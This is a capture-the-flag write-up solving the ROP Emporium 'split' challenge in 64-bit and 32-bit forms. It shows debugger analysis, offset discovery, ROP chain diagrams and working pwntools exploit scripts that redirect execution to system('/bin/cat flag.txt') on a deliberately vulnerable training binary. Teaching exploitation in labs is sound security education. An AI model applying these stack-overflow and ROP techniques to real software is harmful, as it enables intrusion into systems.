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split

64 bit

Let's run the executable to check what it does.

$ ./split
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...
> 1111111
Thank you!

Exiting

It takes user input and then exits.

We can use the checksec utility in order to identify the security properties of the binary executable.

$ checksec split
[*] '/home/hacker/ropEmporium/split/split'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

There's two important properties we want to focus on here:

  • NX enabled: This means that the stack is not executable. Therefore we cannot use a shellcode injection.

  • No PIE (0x400000): This means that the executable is not positionally independent and it is always loaded at address 0x400000. So the code and memory regions will have the same address every time we run it.

Let's open the executable using gdb-pwndbg and look at the functions.

pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x0000000000400528  _init
0x0000000000400550  puts@plt
0x0000000000400560  system@plt
0x0000000000400570  printf@plt
0x0000000000400580  memset@plt
0x0000000000400590  read@plt
0x00000000004005a0  setvbuf@plt
0x00000000004005b0  _start
0x00000000004005e0  _dl_relocate_static_pie
0x00000000004005f0  deregister_tm_clones
0x0000000000400620  register_tm_clones
0x0000000000400660  __do_global_dtors_aux
0x0000000000400690  frame_dummy
0x0000000000400697  main
0x00000000004006e8  pwnme
0x0000000000400742  usefulFunction
0x0000000000400760  __libc_csu_init
0x00000000004007d0  __libc_csu_fini
0x00000000004007d4  _fini

There is a function called usefulFunction. Let's disassemble it and see how useful it is.

usefulFunction()

pwndbg> disassemble usefulFunction
Dump of assembler code for function usefulFunction:
   0x0000000000400742 <+0>:     push   rbp
   0x0000000000400743 <+1>:     mov    rbp,rsp
   0x0000000000400746 <+4>:     mov    edi,0x40084a
   0x000000000040074b <+9>:     call   0x400560 <system@plt>
   0x0000000000400750 <+14>:    nop
   0x0000000000400751 <+15>:    pop    rbp
   0x0000000000400752 <+16>:    ret
End of assembler dump.

We can see that the instruction at usefulFunction+9 makes a system call and that the instruction at usefulFunction+4 loads the argument.

pwndbg> x/s 0x40084a
0x40084a:       "/bin/ls"

So this system call executes /bin/ls which isn't what we want. We want it to execute /bin/cat flag.txt.

/bin/cat flag.txt

Let's search the string /bin/cat flag.txt.

pwndbg> search /bin/cat
Searching for value: '/bin/cat'
split           0x601060 '/bin/cat flag.txt'

We can link this string with our system call in order to read the flag.txt file.

In order to put this string into rdi, we will need a pop rdi gadget.

pop rdi gadget

We can find the gadget using the ROPgadget utility.

$ ROPgadget --binary split | grep "pop rdi"
0x00000000004007c3 : pop rdi ; ret

We can see that the address of the pop rdi gadget is 0x00000000004007c3.

Cyclic pattern

We now have to find the offset using a cyclic pattern.

pwndbg> cyclic
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa

Let's provide this as input.

──────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────
*RAX  0xb
 RBX  0x0
*RCX  0x7ffff7ea2a37 (write+23) ◂— cmp rax, -0x1000 /* 'H=' */
*RDX  0x1
*RDI  0x7ffff7fa9a70 (_IO_stdfile_1_lock) ◂— 0x0
*RSI  0x1
*R8   0xa
*R9   0x7ffff7fc9040 (_dl_fini) ◂— endbr64
*R10  0x7ffff7d945e8 ◂— 0xf001200001a64
*R11  0x246
*R12  0x7fffffffdfd8 —▸ 0x7fffffffe21b ◂— '/home/kunal/ropEmporium/split/split'
*R13  0x400697 (main) ◂— push rbp
 R14  0x0
*R15  0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0x0
*RBP  0x6161616161616165 ('eaaaaaaa')
*RSP  0x7fffffffdeb8 ◂— 'faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaa'
*RIP  0x400741 (pwnme+89) ◂— ret

The rbp register points to 0x6161616161616165 which is the little endian eaaaaaaa in ASCII.

Let's find the offset of this value in our cyclic pattern.

pwndbg> cyclic -l 0x6161616161616165
Finding cyclic pattern of 8 bytes: b'eaaaaaaa' (hex: 0x6561616161616161)
Found at offset 32

So the offset is 32 bytes.

Let's see how this looks on the stack.

Stack

<======: Value is stored at that location
<------: Points to the address

+---------------------------+ 
|  61 61 61 61 61 61 61 61  | <====== buffer (32 bytes) <------ rsp
|  62 61 61 61 61 61 61 61  | 
|  63 61 61 61 61 61 61 61  |
|  64 61 61 61 61 61 61 61  |
+---------------------------+
|  65 61 61 61 61 61 61 61  | <====== stored rbp <------ rbp
+---------------------------+
|  66 61 61 61 61 61 61 61  | <====== return address <------ rip
+---------------------------+

We can see that if we increment the rbp by 8, it will point to the saved return address.

Therefore the distance between the buffer and the saved return address is offset+8 which is equal to 40.

Exploit requirements

We now have all the information we need to create an exploit.

All that remains is to link these pieces of information to create a ROP chain.

ROP chain

In this technique, we have to execute our instructions in a carefully chosen sequence:

  1. First we have to replace the return address with the address of the pop rdi gadget so that it is executed when pwnme returns.

  2. Then we have to chain it with the address of the /bin/cat flag.txt string so that it gets popped into the rdi register.

  3. Finally we chain it with the address of the system@plt call.

This is what the ROP chain would look like on the stack.

Stack:
+---------------------------+
|  00 00 00 00 00 40 07 c3  | <====== return address <------ rsp
|  ( pop rdi )              |
+---------------------------+
|  00 00 00 00 00 60 10 60  | 
|  ( /bin/cat flag.txt )    |
+---------------------------+
|  00 00 00 00 00 40 07 4b  |
|  ( system@plt )           |
+---------------------------+

====================================================================
pwnme() return <------ rip
# This gadget will pop the value pointed to by rsp into rip
====================================================================

Stack:
+---------------------------+
|  00 00 00 00 00 60 10 60  | <------ rsp
|  ( /bin/cat flag.txt )    |
+---------------------------+
|  00 00 00 00 00 40 07 4b  |
|  ( system@plt )           |
+---------------------------+

====================================================================
pop rdi <------ rip
# This gadget will pop the value pointed to by rsp into rdi
====================================================================

Stack:
+---------------------------+
|  00 00 00 00 00 40 07 4b  | <------ rsp
|  ( system@plt )           |
+---------------------------+

Registers:
rdi: 0x601060

====================================================================
call <system@plt> <------ rip
# This gadget makes a system call based on the argument in rdi
====================================================================

Exploit

from pwn import *

padding = b"a"*40
poprdi_addr = p64(0x00000000004007c3)
bincat_addr = p64(0x601060)
system_addr = p64(0x000000000040074b)

payload = padding + poprdi_addr + bincat_addr + system_addr

p = process('./split')
p.sendline(payload) 
p.interactive()

Let's run the exploit.

$ python exploit.py 
[+] Starting local process './split': pid 987
[*] Switching to interactive mode
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...
> Thank you!
ROPE{a_placeholder_32byte_flag!}

32 bit

usefulFunction()

pwndbg> disassemble usefulFunction
Dump of assembler code for function usefulFunction:
   0x0804860c <+0>:     push   ebp
   0x0804860d <+1>:     mov    ebp,esp
   0x0804860f <+3>:     sub    esp,0x8
   0x08048612 <+6>:     sub    esp,0xc
   0x08048615 <+9>:     push   0x804870e
   0x0804861a <+14>:    call   0x80483e0 <system@plt>
   0x0804861f <+19>:    add    esp,0x10
   0x08048622 <+22>:    nop
   0x08048623 <+23>:    leave
   0x08048624 <+24>:    ret
End of assembler dump.

The arguments for a 32-bit function call are pushed on the stack. At usefulFunction+9, we can see the argument for the system call being pushed onto the stack.

Let's see what the argument is.

pwndbg> x/s 0x804870e
0x804870e:      "/bin/ls"

We have to replace this argument with /bin/cat flag.txt.

/bin/cat flag.txt

pwndbg> search /bin/cat
Searching for value: '/bin/cat'
split32         0x804a030 '/bin/cat flag.txt'

We can link this string with our system call in order to read the flag.txt file.

In this case we do not need a pop rdi gadget because as we saw the arguments are not stored in registers.

Cyclic pattern

We now have to find the offset using a cyclic pattern.

pwndbg> cyclic
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

Let's provide this as input.

──────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────
*EAX  0xb
*EBX  0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
*ECX  0xf7fae9b4 (_IO_stdfile_1_lock) ◂— 0x0
*EDX  0x1
*EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
*ESI  0xffffd104 —▸ 0xffffd231 ◂— '/home/kunal/ropEmporium/split32/split32'
*EBP  0x61616166 ('faaa')
*ESP  0xffffd030 ◂— 'gaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaa'
*EIP  0x61616161 ('aaaa')

The ebp register points to 0x61616166 which is the little endian faaa in ASCII.

Let's find the offset of this value in our cyclic pattern.

pwndbg> cyclic -l 0x61616166
Finding cyclic pattern of 8 bytes: b'faaa' (hex: 0x61616166)
Found at offset 40

So the offset is 40 bytes.

Let's see how this looks on the stack.

<======: Value is stored at that location
<------: Points to the address

+---------------+ 
|  61 61 61 61  | <====== buffer (32 bytes) <------ esp
|  62 61 61 61  | 
|  63 61 61 61  |
|  64 61 61 61  |
|  65 61 61 61  |
|  66 61 61 61  |
|  67 61 61 61  |
|  68 61 61 61  |
|  69 61 61 61  |
|  6A 61 61 61  |
+---------------+
|  6B 61 61 61  | <====== stored ebp <------ ebp
+---------------+
|  6C 61 61 61  | <====== return address
+---------------+

We can see that if we increment the ebp by 4, it will point to the saved return address.

Therefore the distance between the buffer and the saved return address is offset+4 which is equal to 44.

Exploit requirements

We now have all the information we need to create an exploit.

All that remains is to link these pieces of information to create a ROP chain.

ROP chain

In this technique, we have to execute our instructions in a carefully chosen sequence:

  1. First we have to replace the return address with the address of the system@plt call so that it is executed when pwnme returns.

  2. Then we have to chain it with the address of the /bin/cat flag.txt string so that it can act as the argument of the system@plt call.

  • This is what the ROP chain would look like on the stack.

Stack:-
+--------------------------+
|   08    04    86    1a   | <====== return address <------ esp
|  ( system@plt )          |
+--------------------------+
|   08    04    a0    30   |
|  ( /bin/cat flag.txt )   |
+--------------------------+

=====================================================================
pwnme() return <------ eip
# This gadget will pop the value pointed to by the esp into eip
=====================================================================

Stack:-
+--------------------------+
|   08    04    a0    30   | <------ esp
|  ( /bin/cat flag.txt )   |
+--------------------------+

=====================================================================
call <system@plt> <------ eip
# This gadget makes a system call based on the argument on the stack
=====================================================================

Exploit

from pwn import *

padding = b"a"*44
bincat_addr = p32(0x804a030)
system_addr = p32(0x0804861a)

payload = padding + system_addr + bincat_addr

p = process('./split32')
p.sendline(payload) 
p.interactive()

Let's run the exploit.

$ python exploit.py 
[+] Starting local process './split32': pid 16511
[*] Switching to interactive mode
split by ROP Emporium
x86

Contriving a reason to ask user for data...
> Thank you!
ROPE{a_placeholder_32byte_flag!}

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